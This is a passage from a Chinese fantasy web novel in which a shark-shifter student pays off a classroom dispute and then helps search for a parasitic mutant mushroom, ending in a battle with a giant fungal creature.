李老师看着学生家长鹭：“……”再看向得力的班长，“说说你有什么要求吧？” 一番切磋后，吃了表皮太光滑亏的海豚，被小鲨鱼的皮擦伤，变回人形后胳膊上一片红，经过简单处理后，已经结痂，要是夜鹭来得慢一点，可能已经好了。 但是受害豚不接受调解，坚决要求肇事鲨进行赔偿：“你必须赔我一只大虾！个头不小于50厘米的！” “噫~”小鲨鱼不想赔，“我们这种情况不应该算互殴吗？再说我好好游着，是胖海豚先过来挑衅的。打输了是他菜，凭什么让我赔？” 大虾那么难抓，抓到了他不会自己吃吗？ “你竟然叫我胖海豚！”本来就身形高大的班长气炸！ 小鲨鱼还挑衅：“你别生气，你是海豚，不是河豚。哎哟！” 看不下去的夜鹭叨了他一下：“行了，抓个虾，多大点事情。快去抓，顺便抓点螃蟹和扇贝，我晚上要吃。” “现在就去？”沙伍看了看时间，已经下午两点多了。 “你踩飞板去。” 沙伍脸色一变，试图从夜鹭身上揪一根毛，看得李老师差点灵魂出窍。 见夜鹭不为所动，李老师才呼出一口气。 是他杞人忧天，就凭沙伍那么一条小鲨鱼，哪能从院长身上揪下羽毛？ 沙伍扒拉了两下果然没扒拉出什么来，只能骂骂咧咧出门踩飞板去了。 他在生蚝岛上学会了基本的飞板技巧，飞板的速度也确实比他游起来快得多，但是踩飞板去捞小海鲜的难度，不在于飞板，而在于会追杀的鸟群啊。 尤其现在天气越来越冷，候鸟已经迁徙走了，但是留鸟们的生存压力变大，攻击性越来越高。 夜鹭看了看宽吻海豚，叮嘱：“该减肥了。” 怀揣着马上就要吃到绝世美味大虾的宽吻海豚瞬间低头：“是的，院长。” 吃完大虾就减肥！ 沙伍踩着飞板，轻车熟路到葫芦口的小岛上，把飞板寄存在岛主姐姐那里，然后进行了一番海底捞，再一路被海鸟们追杀到青龙学院外，回到宿舍的时候已经骂人都骂不动了，对自己考试期间的行为进行了深刻反省：“再也不挑衅胖海豚了。” 负责今天晚餐的阿大看他抓了一堆东西回来，笑逐颜开：“哟，今天夜宵有着落了。快去洗洗，马上就能开饭了。” “等等。”沙伍坐在飞板上，抹了一把冷汗，用手环叫了一辆无人快递车，调出尺子给泡泡里的虾挨个量了一遍，最后挑选了一只严格50厘米长的虾打包，给宽吻海豚送去。 阿大早就听说他下午的事情，忍着笑看他忙活。 “院长说晚上要过来吃。”沙伍看着快递车离开，想起来夜鹭的事情。 “好，我知道了。” 沙伍看着自己的样子，直接踩着飞板上楼。 好不容易等他把自己收拾完，坐上餐桌，别人面前摆的是生猛海鲜，他的面前还是宝宝餐。 他认真看了看坐在餐桌边上的一溜人，确定祁大厨不在，又往夜鹭身边挪了挪，斗胆：“我想吃点小海鲜。” 没道理他辛辛苦苦抓的，连个蟹钳都吃不到吧？ 他想吃胖胖的螃蟹。 夜鹭给了他一叨：“吃你的饭去。” 沙伍觉得夜鹭背叛了他们一起钓虾的友情，但是敢怒不敢言。 明明在生蚝岛上的时候，夜鹭很鄙视营养餐来着。 没滋没味地吃了一餐，沙伍只能把小少爷多咬几口。 姜纶陪沙伍待在私人教室里学习，给自己身上增添了很多牙印。 沙伍学习告一段落就把姜纶咬一口。 姜纶随便咬：“一会儿我睡你房间吧？” “好啊。”沙伍都没考虑就同意了，反正一会儿要双修。 姜纶又说：“明天我们就干脆住一个房间吧？” 沙伍：“……” 姜纶掐着他的腰，轻轻摇了摇：“说‘好’。” “嘻。不说。”沙伍已经习惯了待在四楼，不想动，每天通过密道跑来跑去偷袭也很有意思。 “哼。”姜纶不开心。 沙伍站起来，活动了一下身体，刚准备再战，突然想起来一个事情：“你下午忙什么去了？不是说要看我考试的吗？” 姜纶把面前的光屏给他看：“喏，来了个奇怪的人。”他又拉出一个光屏，把上面的视频文件点开前提醒，“画面有点血腥，可以吗？” “来。”伍哥什么没见识过。 然后他就看到了人炸开，最后在抄网里变成了一个白蘑菇。 伍哥还真没见过。 看完短短几秒钟的视频，他的第一反应是抱住了姜纶仔细嗅嗅。 姜纶还以为他会害怕：“不害怕？” “怕什么？怕个蘑菇？” 血腥场面什么的，严格来说并没有。 一个好端端的人，突然炸开确实有点掉SAN。 比起蘑菇什么的，他更关心自家小少爷：“身上没粘上什么奇奇怪怪的东西吧？” 姜纶把他摁在自己胸口：“身上有蘑菇味吗？” “没有。”是他喜欢的钻石味~ 姜纶说道：“这个周末我得回一趟瑞云实验室。你是陪我回去一趟，还是待在这儿复习？” 沙伍压根就没考虑：“跟你回去。我去看看沙妈妈。” 他算是看出来了，自己的学习能力确实不算差，但也算不上顶尖，尤其是在青龙学院这样的地方。 青龙学院对于学生选拔并不是只看学生的异能值天赋，对文化课也有相当高的要求。 他们班级里已经有人跟着大佬进实验室了。 他混个差不多的分数就行……好像没法跟中学的时候那样混。 “那个蘑菇到底是什么？” “变异蘑菇嘛，攻击手段大概率是通过孢子寄生、致幻、毒这三样。这次的东西竟然能够对高阶变异者产生威胁，还是比较罕见的。现在不清楚的是，作为宿主的那个记者过来找我，是出于自己的意识，还是蘑菇让他产生的意识。”姜纶并没有对沙伍报喜不报忧的意思，与其让沙伍乱猜担惊受怕，不如直接把该说的事情都一一说明。 沙伍眉头微皱：“这种蘑菇寄生能排查出来吗？寄生的人数应该不会只有这一个吧？只能寄生在人身上吗？” “不清楚。夜老师已经通报了其他几个城市，几个九级已经着手开始排查。这东西隐蔽性太强。下午让几个八级试过，最后只有土系和金系能够感应到一点。”姜纶觉得这东西有点棘手，“现在样本已经送到了各个实验室，分析结果还没出来。接下来几天时间，我会协助排查青龙城的情况。你平时待在青龙学院不要乱跑，学校会先对校内进行排查。” “好的。”小鲨鱼听劝，“那我这几天就宿舍、教学楼两点一线。” 沙伍比较好奇的是：“你为什么也要去排查？土系人手不够用？” “这倒不是。八级土系只是能隐约感觉到一点异常，做不到迅速排查。现在不确定这东西能不能寄生八级。”姜纶这一次的语速比较慢，眼神很奇怪，“我没说过我是九级？” “啊？”沙伍不信，“你不是连10%异能控制都不是很稳定？” 姜纶撇嘴，不想承认：“九级例外论。我是我父母达到九级之后生出来的孩子，出生就是九级。” 九级对于沙伍来说是遥远又近在眼前的事情。 理智上他知道别说八级九级了，异能等级想要从三级突破到四级都非常困难。 现实中，他身边一溜的七级八级，甚至经常和夜鹭这个九级接触，感情上并没有对高阶异能者有什么空中楼阁一样的幻想。 沙伍把有关九级的知识在脑子里重新过了一遍，看向姜纶的眼神突然震惊。 姜纶一直紧盯着沙伍，看到他的表情变化，心里面一突，不自觉地咽了咽口水：“怎么样？有什么话想说？” 沙伍嘴角一抽：“我们之间会有生殖隔离吧？你说九级已经是另外一种生物，不能算是人类了。我跟个不是人的东西在谈恋爱，我……” “停！”姜纶打断沙伍的语无伦次，“我们两个是男的，本来就生不出孩子。” 沙伍和姜纶对视：“哦，那没问题了。” “我当然是人。” 沙伍瞪大眼睛：“……哦。” 姜纶突然解开衬衫上面的两粒纽扣，露出脖子和锁骨，凑到沙伍面前：“来，咬我。” 沙伍毫不犹豫，一口咬了上去，咬住不放。 姜纶按住他的后脑勺：“我是不是人？” “嗯！”管他的，好吃好看就完了。 姜纶看着咬完自己又马上沉迷学习的沙伍，觉得有哪里不对劲又说不上来，总之就是看着沙伍不把注意力放自己身上有点不爽，一边忙着自己的工作，一边耐心等到沙伍做完所有功课，临到睡前才说道：“你说的生殖隔离的事情，我觉得不一定。非得要这么说的话，你看我妈的觉醒体是青龙，我爸是人身蛇尾，也照样生出了我。我们俩说不定也能生一个。” 沙伍猛地从床上坐起来，也不开灯，就这么两眼放空脑子放空，过了好一会儿才重新躺了回去。 沙伍一个晚上没进入冥想。 双修多了，总会见到鬼的。 小鬼也是鬼。 姜纶倒是照常睡了个好觉，没有双修确实有点可惜，但这么单纯抱着睡觉也很好。 他看着沙伍和往常一样起床洗漱，侧过身看他从卫生间走出来，去衣帽间换衣服，略微提高声音问：“你想生男孩女孩？生几个？鲨鱼是卵胎生吧？” 沙伍换上秋季校服，一边扣上纽扣，一边探头回答，面无表情：“你生什么我都喜欢。你想生孩子的话，我会努力的。” 他看了看今天青龙城的气温，想了想还是拿上了一件冬季校服的外套，才走出衣帽间准备出门。 姜纶眼睛一瞬间清明起来，缓缓从床上坐起来，走到沙伍面前，拉起他想要开门的手，举起来亲了一下：“我们家小鲨鱼想怎么努力？” 沙伍情绪稳定，语气更稳定：“你看，九级例外论。我们两个只有你是九级。你是例外，我还不能突破生理限制。所以，只有你才有可能生孩子。” 第53章 找蘑菇 关于能不能生，生几个，生人还是蛋，这是一个短时间内无解的问题。 寄生蘑菇，是个摆在面前，需要立即处理的问题。 沙伍上午的课程被临时取消，从专业课改为体检。 沙伍这一批昨天在潮汐湖考试的学生，是最先开始检测的。 检测仪器相当大，速度不快，单人单次得三分钟。 几名操作的医生全副武装，穿着包裹严实的防护服，表面红色能量流转，显然开启了火系防御。 对象是蘑菇，用火焰来对付，非常有针对性。 沙伍人形检测一次，直接在里面变成鲨鱼再检测一次。 在干燥的环境中变成鱼，让他有些不适应，出来后等待在单人隔离室里，还觉得浑身干巴巴的，特别想喝水。 班级群里各种消息满天飞，对检测倒是没太多忧心，大部分在忧心接下来的元旦假期要泡汤。 “我订了假期去玄武城的票。那边已经下雪了，好想去看雪啊。不知道还能不能去成？” “为什么看个雪，得去玄武城？我们这里就是出了名的雪窝子。” “对啊。过年前后雪会大到封路。城际列车都不能走。” “啊？你们本地鱼怎么不早说？” “冬天下雪不是自然现象，有什么好说的？理解不了热带鱼对雪的热爱。” “其实不亏。玄武城有很多好玩的。那边历史人文景观保留得很好。” “我订了榕城的票。” “我想回家吃爸妈做的饭，学校食堂快吃抑郁了。” “我不想回家。我爸妈对我只有一天保鲜期，第二天就得干全家的家务。” “你家没家政机器人吗？” “有一个，不过型号很老了。它干活，还不如我自己动手快。” “现在这情况，说不定我们假期哪里也去不了。” 学校已经公布了有寄生类异能者昨天入侵校园的事情，青龙学院的学生们显然都情绪比较稳定。 寄生类变异其实在变异植物中还算比较常见，早发现早治疗就好，有成熟的解决方案。 作为异能者，他们对于异能形成的寄生，拥有相当的抵抗能力。 尤其是十班这些异能值天赋极高的学生，对于异能值天赋低、等级低的寄生，他们几乎是天然免疫的。 他们体内强大的异能，会自主排除甚至于消化吸收掉来自外界的寄生。 有人@沙伍：“沙伍，小少爷那儿有没有什么内幕消息？” 沙伍斟酌了一下说道：“我就知道这个寄生挺麻烦的。” “切，说了等于没说。” “看学校这个阵仗就知道简单不了。” “啊~我的假期！” “别嚎假期了，先嚎期末吧。” “我11门课，全都集中在一起考试，一点不慌。” “厉害。我已经提前考了两门。” “能提前考的就两门课。” 沙伍看着班级群里的消息刷得飞快，打开购物软件准备看看给沙妈妈准备什么礼物。 对，沙妈妈要考环卫局的编制，要不要送她一套真题？ 沙伍的手指动了动，最后还是没落下，改而给买了一些冬季的日常用品，又看了看朱雀城设计师那边传过来一些防御异能物品的制作进度。 买买买的时间总是过得飞快，半个小时的隔离时间一眨眼就结束。 沙伍出去，狭小的单人隔离室里马上进行了一次消毒加净化，确保里面干干净净什么残留都没有。 等他和十班的同学们汇合，一起走出医院的时候，发现等候在外面，还没开始检测的学生的脸色都很不好看，有些甚至在哭。 同学们都面面相觑：“怎么了？查出来有人被寄生了？” 他们所在的出口处和那些同学们所在的入口处是隔离开的，没法过去了解。 有同学已经翻起了校园论坛：“昨天那个寄生宿主进入校园的路线已经被追踪到了，这些同学应该是和那个寄生宿主差不多时间走过同样路线的人，存在较高的被寄生风险。” “他们应该都是其他学院的。” 能够寄生异能者的寄生蘑菇，要是寄生到了普通人身上，无论是产生的伤害还是治疗的难度都更大。 “接下来我们是继续回去上课，还是怎么样？” 海豚班长低头打开手环联系人：“我问一下李老师。” 李老师那边的回复很快：“该上课上课。今天下课后先别回宿舍，可以先待在教室或者去食堂。会有人对宿舍进行清理，等到通知后再回去。” “好。” 李老师突然问：“沙伍在你边上吗？” 海豚班长看到抓虾小能手：“在的。”说完，直接把在通话中的光屏转到沙伍面前。 沙伍还在刷购物软件，面前一溜光屏上全是各式各样的夜师傅，正在犹豫以自己的年纪买个双马尾夜师傅毛绒背包会不会太幼稚了。 “沙伍！” 沙伍顿时像是被上课抓到开小差一样，马上一脸认真严肃求知若渴：“李老师！” 李老师：“……我拉你进一个群。你现在别去上课，有别的任务。” “好。”沙伍看到联系人那边有通知信息，同意后进入到一个群，一眼就看到置顶的夜鹭…… 不，那仙气飘飘的长颈鹭，不是他熟悉的夜师傅。 院长这是开了多少层滤镜，美颜到自己都认不出来了吧？ 院长的腿也没那么长。 李老师的话，其他同学都听见了。 他们虽然好奇沙伍有什么任务，但眼下显然不是八卦的时候，跟沙伍道别离开。 沙伍则跟着指示，到了青龙学院医学部的一个研究所，从那里看到了熟悉的两位家庭医生，并从他们那里看到了蘑菇切片。 白白的薄薄的一片放在一个异能装置里，其实都看不出来是蘑菇。 “我现在把防护关掉，只剩下一个隔离，你把膜张开，看看能不能感受到这片蘑菇。” 沙伍一听要求，大概明白需要他做什么了。 “好。” 一个圆形泡泡张开。 家庭医生把防护关闭。 沙伍顿时闻到一股非常清新的蘑菇味，下意识吸了一口：“这个闻着挺好吃的。”刚说完，他突然感觉脑袋晕了一下，清新的蘑菇味里掺杂着一丝奇怪的甜腻，“这蘑菇怎么跟香水似的，还有后调的？” 家庭医生立刻把防护又打开。 这么短的时间，蘑菇切片的边缘已经长出了一些菌丝。 沙伍刚才闻到的气味很快消失，脑子很快恢复清明：“需要我去找蘑菇？” 一名家庭医生正在群里汇报，另外一名说道：“现在人手严重不足。你的异能特殊，看看能不能用你的泡泡把院长他们可能清理不到位的地方扫一遍？重点地区有院长他们，就怕别的地方有残留。” “好的。”然后他就看到一张青龙城……青龙省的地图，“……认真的？” 家庭医生显然也很错愕，随即笑出声：“别问我，院长安排的。” 沙伍看着聊天群里的那张长颈鹭头像，指了指：“假的吧？” 家庭医生跳过这个话题：“这次特批你们可以在城市里使用飞板。” 说着，拿出一块飞板给他。 沙伍刚才都没发现飞板：“好。” “你先把附近过一遍。梁管家在给你准备小房车。阿大和阿二会陪着你，他们两个是火系，负责保护你。你发现蘑菇就在群里报坐标，会有就近的九级过去处理。” “好。”敢情他在把整个大青龙城的范围全都扫完一遍之前，是回不了宿舍了。 他在手环上设置了一下，踩着飞板来到共工大学东北角，张开一个圆形的泡泡，感受了一下自己目前对于异能的控制力，把泡泡的直径控制在一百米，并且把一半沉入地下。 他踩着飞板先来回试着飞了两圈。 “嗯，不会被树挂到。” 共工大学内的建筑物也都比较低矮，应该不会撞楼。 他的嗅觉本来就异常灵敏，泡泡覆盖范围内，各种变异生物产生的气味更加鲜明。 尤其是土壤内的各种变异生物，它们的活跃程度和数量远超他的想象。 蘑菇聊天群里，几个不同地区的地图正在实时更新。 夜鹭@了一下沙伍：“你的地图也同步一下。我们好掌握你的实时动态。” 要不是实在没人手，他们也不会让沙伍这么个菜鸟参与进来。 可是没办法，所有九级都经历过蘑菇传播。 它们的孢子传播量大，范围极广。 而且眼看着气温正在快速下降，到时候寄生的孢子进入休眠期，更难搜索。 他们必须争分夺秒。 沙伍身上有不少姜纶给准备的顶级防御物品，哪怕遇到危险，也足以撑到附近的九级赶到。 “好的。”沙伍很快把自己的地图共享在群里。 然后他们就看到代表小鲨鱼工作轨迹的彩虹色块一大块一大块地覆盖地图，速度越来越快，花里胡哨得让人眼晕。 夜鹭终于忍不住发话：“沙伍，换个颜色。” 沙伍：？ 夜鹭：“你这颜色太花了。” 沙伍：“不好看吗？” 飞在空中的夜鹭脖子都伸长了，差点重心不平衡：“换！” 听出夜鹭语气里已经很不耐烦了，沙伍一声不吭，换成了浅灰色，只敢自己嘀嘀咕咕：“下次让夜师傅睡粉色小碎花毛绒鸟窝，啧。” 透明的泡泡扩大到直径一公里，飞板的速度提升到时速一百。 沙伍一个下午来来回回跑地图，感觉只净化掉了一点点空气中和地底的污染，那种让他感觉脑袋发晕的气味没有再闻到。 房车停放在郊外一座湖泊边上，不远处是类似东湖孤儿院那样密密麻麻的高楼。 阿大阿二把沙伍召唤过来吃饭。 沙伍直接落在房车顶上，透过打开的天窗问：“不在上面吃饭吗？”感觉上面的视野比较好。 阿大把一份炙烤得呲呲响的肉排端上桌：“冬天了，待在上面吃不冷？” “不冷啊。”沙伍闻着肉排的香味，走到房车中门，一手勾着车顶，一手抄着飞板，一晃就进了车内。 阿二在煮罗宋汤，看到沙伍过来，给他指了指洗手间的位置：“去把手洗了。还有，把泡泡收了。你都撑着泡泡飞了一下午了，不累？” “哦，不累。差点忘了。”沙伍收了泡泡，房车外面吹过来的风瞬间就乌拉乌拉，“嘶——晚上有点冷。” 室内拖鞋放在门口，他换了鞋就去洗手，路过厨房看着食材丰富的饭菜，开心得不行：“没想到出门能吃这么好~” 阿大完全不觉得：“好什么？” 等沙伍简单洗漱完过来，餐桌上已经摆好了饭菜，还是和家里一样的分餐。 沙伍吃的也是定量：“至少看起来有颜色，不是白白的了。祁叔做的营养餐，口味实在是太清淡了。” 好吃确实是好吃，可也架不住天天这么吃。 要是周围的人都这么吃也就算了，偏偏宿舍里的一群人吃得麻辣鲜香，还天天晚上各种烧烤、火锅、炸鸡夜宵。 “煎个肉排都这么高兴？” “小伍是真好养活。” 他们小时候那叫一个闹腾，一天挨三顿揍都是轻的，哪里像沙伍这样顶多就是嘴上抱怨两句。 沙伍吃完饭，看了一眼手环，确定没什么作业，就抄起飞板准备出去。 阿大赶紧叫住他：“干嘛去？” 沙伍指了指手环上的时间：“距离睡前还有三个小时，够我扫很多地方。” 阿大想说什么，阿二抢先一步，拿了一件外套递过去：“行。你把地图跟我共享一下，一会儿我们把房车就近找个露营地。” “好。”沙伍操作完，穿好外套，手上拿着一杯雪梨汤就踩着飞板出门了。 泡泡瞬间扩张到直径3公里，所过之处像是吹过一阵温暖清新的风。 阿二指了指瞬间飞远的沙伍：“小伍很强的，不用担心。” 阿大冷哼：“一个四处漏风的破麻袋，才好了一点，逞什么能？”他两步走进房车，“小伍这几天消耗大，过来给他准备夜宵。” 沙伍的泡泡还能扩到更大，飞板的速度也能更快，但再提升的话明显能够感觉到异能的消耗速度过快。 保持现在的水平，几乎不会对他产生负担，甚至有一种能够永动机一样来回扫地图的错觉。 冬天黑得特别快。 他回来晚饭前，天还是昏黄的，路灯才刚亮起，现在已经万家灯火。 飞板偏折一点，绕开一栋高层建筑，里面绝大部分的灯光都亮着。 这里住着的人很多，各种气息非常复杂，他不得不放慢了一点速度，认真感受其中有没有那股奇特的蘑菇味。 略微一耽搁，建筑物内的灯光几乎全都亮了起来。 沙伍眨了眨眼睛，忍不住回头看了一眼，喃喃：“都回家了。” 他不知道自己为什么突然有点空落落的，下意识打开手环，直接就点了姜纶的头像，刚想联系，姜纶的视频请求就弹了出来。 他顿时眼睛都亮了：“姜纶！” 姜纶听着他比平时明显高亢的语调，有些意外：“出门干活这么开心？” “嘿……”沙伍有些不好意思，声音弱了几分，“不是干活开心，是跟你视频开心。” 没有什么比他正想跟姜纶说话，马上就收到姜纶的视频更加开心的事情了。 哼哼，这就叫心灵相犀！ 姜纶听得忍不住笑：“你就哄我吧。我看你还在工作？不休息吗？” “不累，我就是扫一遍你们没顾上的区域。你累不累？”重点区域都是九级们直接清理的。 他的泡泡虽然看着挺大的，飞板的速度也很快，但是想靠着他把好几个城市都清扫一遍，得到猴年马月？ 他做的不过是以防万一而已。 “不累。”才第一天，后续几天的感受可能会更明显一点。 “你晚饭吃了吗？晚上睡哪儿？” “没吃。晚上不睡，应该会连续工作几天。” 沙伍完全没想到：“连续工作几天？” “嗯。” “不吃不睡？” “嗯。放心好了，这点对我来说没什么负担。”虽然能在家抱着小鲨鱼睡觉最好，但是人命关天的事情摆在眼前，他不能偷懒。 他是从今天上午开始工作的，夜老师他们从昨天下午就开始了。 蘑菇的孢子传播的速度比他们想象中的范围还要广。 好在他们发现还比较及时，加上天气寒冷，除了被寄生了有一段时间的少数人之外，大部分被寄生的人还没有受到什么伤害，处理起来比较简单。 沙伍想说姜纶不过是个宝宝龙，没必要这么拼命，但说不出口：“注意安全。” “这话该我提醒你才对。晚上睡前联系我一下。” “好。”沙伍结束视频通话，眼睛里盛满了小星星，觉得雪梨汤都甜了不少。 一连三天，沙伍都没有发现任何蘑菇的痕迹。 夜色中，房车正在前往东湖城。 沙伍的鲨鱼泡泡包裹着房车：“我就说选错了起始地点。青龙城都被院长扫过一遍了，不可能有什么残留。我就走农村包围城市路线，去偏远的小地方。” 这是他第一次完整地“参观”青龙城。 果然，玩耍还是要和小伙伴们一起才好玩。 自己这么嗖嗖来来去去，一点意思都没有。 城市之间有很多没有人烟的低污染区域，晚上行走有一定的危险性。 房车的速度不快。 虽然城市管理者们一直想要把城市和城市之间的低污染区域全部清除、彻底联通，但是人口太少了，异能战士更少，以现在的人力物力资源根本无法做到后期维护。 哪怕一时把这些区域全都清理干净了，只要十天半个月不清理，马上就会被一些危险的变异生物占据。 他们只能做到保证城际列车的轨道安全。 公路这边只能做到定期清理，没什么常规维护。 “这不是怕你危险？”阿大把一碗玉米粥递给他，“小少爷种的玉米，特意多磨掉一点，里面放了红枣桂圆。吃完就去洗洗睡。” 粥碗不大，还没端到面前就是一股香甜的气息。 沙伍乖乖坐在餐桌边，手上已经拿起了勺子，问：“玉米要磨掉什么？” “磨掉外壳。” “外壳？玉米皮吗？”那个不是直接剥掉就好了，还得磨的吗？难道是什么特殊的变异品种？ 阿大干脆从食品柜里拿出一根玉米棒子，从上面剥下来一粒玉米：“喏，干玉米粒磨掉外面的部分，剩下里面的芯子。这次材料不够，等回去给你煮八宝粥喝。” “我现在吃这么精细的吗？”沙伍感到不可思议，“我以前在孤儿院吃的玉米碴子粥也挺好吃的。” “这种是传统吃法，算不上精细。”阿二把做示范用的水果玉米直接啃，“多磨掉一些是因为这个品种的外皮太硬了，炖的话基本炖不稠，得磨成粉才行。玉米芯的能量很温和，算是变异植物里少数含有火系能量的，很适合冬天吃，很温养。” 沙伍听得连连点头：“这个什么品种？” 阿二想了想，不太确定：“乔乔3号，还是乔乔33号？” 他看向阿大，阿大也记不清楚：“等忙完了，问问小少爷吧。他种了很多乱七八糟的品种。” 从开学后，沙伍就越来越少去姜纶的菜地，尤其是考试季就在眼前，现在都不知道姜纶到底种了什么。 “种地很有意思。我们打算在生蚝岛也种点东西。姜纶想搞小菜园，我想种点小花。”沙伍想着和姜纶一起买的装扮庇护所的一堆东西就很开心。 “嗯？你们不是把两个人一起冥想给琢磨明白了？以后还去生蚝岛？” “去啊。那边的生蚝和虾都很好吃，鱼也很好吃。我钓到了一只十米长的大虾！切开的虾排这~么大！生吃就很好吃，特别鲜甜。肉脆脆的。” 十米…… “你确定是你钓起来的？”小鲨鱼赶海确实厉害，但钓鱼估计还比不上小少爷呢。 小少爷虽然什么鱼都钓不到，至少还有一堆理论知识。 “确定！”他都当鱼饵了，就差没被虾打死，怎么就不是他钓起来的？ 大虾要是这么好钓，为什么院长不亲自上？ 肯定是他的功劳占比超过50%。 沙伍吃完就去被赶去洗洗睡，也不知道睡了多久，突然惊醒。 房车还在行驶，阿大和阿二突然就感觉到原本为了贴合车辆行驶变成鲨鱼形状的泡泡，一下就变成无比巨大的圆球。 圆球破裂，变成犹如绵绵细雨般的小鲨鱼，渗透进地底。 沙伍正在同步地图上标红，看向过来查探的阿大和阿二，脸上的表情比哭还难看：“我们……进蘑菇圈了。” 第54章 吃了他 鲨鱼泡泡的形状不能深入多深的地底。 沙伍的脑子里只想着蘑菇寄生人类，下意识忽略了户外环境。 房车的速度不算快，但在沙伍察觉到地底那些菌丝的时候，已经来不及了。 他甚至不确定究竟是他先找到的蘑菇，还是蘑菇先找到的他。 埋藏在地底的，不是夜鹭说的孢子，而是范围极广的菌丝，更没有进入休眠期。 它们异常活跃，对着分散开的小鲨鱼围追堵截。 在沙伍的视野中，那些菌丝像是一条地下河，把周围的一大片地方包围。 一个巨大的异能透明罩子快速形成，把房车周围一片空间囊括其中，迅速闭合。 地底，密密麻麻数不清的新的小异能罩子灵活异常，试图扣住他的异能小鲨鱼。 钻入地底的异能小鲨鱼被追到无处可逃，只能离开地底飞到空中。 白色菌丝紧追不舍，破开地表，飞快变成一个个蘑菇，铺满整片空间。 阿大阿二踩着飞板，拉着沙伍从房车里出来。 橙红的火焰犹如流星坠地。 同时，幽蓝色的火焰像是从冥府钻出来。 两种颜色的火光瞬间点亮东湖城外的一大片土地。 平坦开阔的土地，是东湖城的粮食基地。 冬天的地表基本是一些矮矮的麦苗，看上去绿油油的非常喜人。 现在这条绿色的毛绒绒被子像是被漂白了一眼，白色蘑菇以肉眼可见的速度从手指大小，拔高到五六层楼高，然后开伞。 阿大阿二不得不继续提升飞行高度，但头顶的异能罩子已经爬满了白色菌丝。 火光下，孢子犹如向下飘荡的袅袅轻烟，在一个密闭的空间中浓度迅速增高，变成一片浓雾。 火光被压缩到极致，一点点熄灭，发出轻微的噗呲声。 双色火焰形成的结界上开始爬上细小的菌丝，一个个微小的蘑菇一串串地生长。 火焰结界的光芒渐渐变暗。 “九……” “八级，还没到九级。” 阿大和阿二的脸色很难看。 知道火焰对寄生蘑菇有一点用，没想到真的只是一点用。 知道寄生蘑菇可能对八级异能者可能存在威胁，没想到会是这么大的威胁。 虽然情况危急，但是阿大阿二并没有怎么担心。 沙伍已经把信息发出去了。 “九级很快会到。” “不知道来的会是谁。” “夜老师吧？他速度快。” “那我们只需要撑几十秒就够了。” 只要寄生蘑菇没到九级，他们就还有希望。 话是这么说，但是寄生蘑菇消耗异能的速度比他们预想中要快得多。 那一串串的小蘑菇，刚开始还被火焰烤得焦糊，但伴随着飘上来的孢子数量越来越多，蘑菇越长越多，它们吸收异能的速度越来越快。 哪怕火焰结界一直被认为是公认防御力最弱的结界，甚至被说成是伪装成防御的攻击技巧，但他们以前从来没遇到过这种情况。 他们的结界再怎么脆，那也是八级，还是两个八级！ “沙伍，你在干嘛！” “吐掉！不准乱吃东西！” 蘑菇孢子形成的雾气实在太浓，他们还以为异能小鲨鱼早就被蘑菇吞噬，没想到异能鲨鱼竟然还活得好好的，在孢子形成的云雾中游弋，张着嘴巴，显然在吃东西。 这里有什么东西是能吃的？ “呃！”沙伍打了个饱嗝，满脸无辜，“不是我要吃的，是小鲨鱼们自己要吃的。” 吃进去就吸收掉的能量怎么吐？ 又不是食物。 本来小鲨鱼们被菌丝围追堵截，只能从地底被赶出来。 菌丝钻出地底后变成蘑菇，又像是只能顺应自然规律那样开伞喷孢子。 孢子这个东西，散在空气中，简直就是对迷你小鲨鱼们最好的小点心。 咬起来脆脆的，还会产生轻微爆裂。 大概是孢子太小了，没有那种奇怪的甜味。 还挺好吃的。 能量充足。 这要是做成能量棒什么的，不比压缩饼干好吃？ 原本细小的异能鲨鱼，在蘑菇孢子的投喂下迅速变大。 孢子雾不到一分钟就变得稀薄。 巨大的异能鲨鱼群，反过来追逐着那些蘑菇孢子。 “啪啪。” 轻微的爆裂声突然响起。 夹杂在蘑菇圈中原本已经稀薄的火焰突然变成了金色。 “喔哦！金色传说！呃！”沙伍一边打嗝，一边看着变色的火焰，看着身边的阿大阿二，“这是你们的兄弟合体技吗？” 阿大没忍住，抬手拍了一下沙伍的后脑勺：“少看点乱七八糟的。这是夜老师！” 白色菌丝形成的罩子破了个大洞。 一点一点的金色火光沿着罩子慢慢燃烧。 阿大阿二趁机提升飞行高度，远离那些菌丝和孢子。 得不到补充的蘑菇孢子的个体力量单薄，橙红和幽蓝的两色火光重新加强，对着附着表面的蘑菇进行灼烧。 一只只长相十分标致的白蘑菇在火焰中被烤得嘎吱嘎吱响，流出汁水。 沙伍嗅了嗅。 这蘑菇烤得真好，一股子鲜香。 “院长呢？” 阿二抬手指了指天空，示意沙伍看过去。 凌晨漆黑的夜空中，有大片金色的云彩，像是一只巨大的鸟。 然后飞下来一只夜鹭：“呱！” 沙伍：“……呱？嗷！” 学舌被夜师傅叨了一口的沙伍抱头蹲在飞板上，突然感觉眼前一黑，脑海中的念头是夜师傅的翅膀怎么这么大，然后就跟阿大阿二，连着结界一起被扇出去一大截。 “离远点。” 阿大背起沙伍，阿二带上房车，一声不吭迅速远离，能跑多远跑多远。 土地像是变成了无风三尺浪的海洋，白色的菌丝从地底喷泉一样喷涌而出，原本还能看到青色麦苗的农田，在几十秒内就变成了一片白色的“湖泊”。 白色湖泊迅速隆起、收缩，变成了一个人形，平板的脸上裂开一条缝，张开：“呱！” 那是一个无比巨大的人形。 阿大阿二已经飞出去不知道多远了，还能清楚看到伫立在平原上的白色身影。 阿二回头：“它是在学院长吗？” 他的话刚说完，突然感觉到一股被锁定的悸动，手一抖就把房车掉了下去：“我……” 新车，好贵的，他很费心思布置的！ 阿大都没注意到弟弟竟然还带着房车，头皮发麻：“这真的是八级不是九级？” 这种光是一个眼神就能让人感到战栗，仿佛他们的八级像是假的一样。 按理来说，他们这种火属性异能者，对变异植物具有天生克制作用。 在过往，他们甚至多次越级击杀变异植物，并没有感觉到有多困难。 “九级我们根本跑不掉。”刚进蘑菇圈的时候，大概就被蘑菇给吃了。 白色身影的五官飞快变得清晰，几乎照搬了沙伍的模样：“我要吃掉他。” “它”的视线终于从沙伍身上撤离，看向脚边的夜鹭。 麦田被拱得不像样。 土地平空下降了一米。 夜鹭就站在一片麦苗上，跟着叶片轻轻晃动，像是没有重量一样。 “它”对夜鹭说：“让开。” 白色的菌丝犹如瀑布一样朝着夜鹭倾泻而下。 在菌丝瀑布吞噬夜鹭的瞬间，白色身影已经出现在了阿大阿二面前。 阿大阿二差点一头撞上去。 橙红和幽蓝两色火焰形成的巨大盾牌瞬间扑向伸过来的白色手掌。 飞板快速倒退。 